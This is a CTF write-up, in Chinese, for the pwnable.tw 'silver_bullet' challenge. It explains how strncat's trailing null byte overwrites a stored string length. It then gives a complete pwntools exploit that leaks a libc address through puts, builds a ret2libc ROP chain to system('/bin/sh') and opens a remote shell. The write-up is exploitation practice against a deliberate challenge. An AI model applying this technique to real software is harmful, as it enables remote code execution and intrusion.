读入的字符串s在ebp-0x34的位置,储存长度的地址为ebp-0x4
利用strncat会在字符串尾加\x00,这个字节造成溢出,可以利用这个点覆盖字符串长度
思路:先create一个0x2f长度的字符串,再power一个字节,那么储存的长度0x2f会因为strncat覆盖成\x00,之后power函数中还会对power输入的字节进行重新统计,那么最终储存的长度就会变成0 + 1 = 1,所以我们又可以在已经输入的字符串后面添加0x30-1个字符,这就造成了溢出,利用这个溢出,我们就可以修改字符串的长度,并写上rop,然后就可以打败Gin,执行我们的rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * from struct import pack from LibcSearcher import * from ae64 import AE64 import base64 from ctypes import *
debug = 0 if debug: p = process('/home/feichai/ctf_file/pwn') else: p = remote('chall.pwnable.tw', 10103)
context(arch="i386",os="linux",log_level="debug") elf=ELF("/home/feichai/ctf_file/silver_bullet") libc=ELF("/home/feichai/ctf_file/libc_32.so.6") libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
def create(data): p.sendlineafter("Your choice :",'1') p.sendafter("Give me your description of bullet :",data)
def power(data): p.sendlineafter("Your choice :",'2') p.sendafter("bullet :",data)
def beat(): p.sendlineafter("Your choice :",'3')
def pwn(): create(b'a' * 0x2f) power(b'a') power(b'\xff' * 3 + p32(0xdeadbeef)+p32(elf.plt.puts)+p32(elf.sym['main'])+p32(elf.got.puts)) beat()
p.recvuntil('Oh ! You win !!\n') puts_addr = u32(p.recv(4)) print("puts_addr:",hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] system = libc_base + libc.symbols['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh'))
create(b'a' * 0x2f) power(b'a') power(b'\xff' * 3 + p32(0xdeadbeef)+p32(system)+p32(elf.sym['main'])+p32(bin_sh)) beat()
p.interactive()
if __name__=='__main__': pwn()
|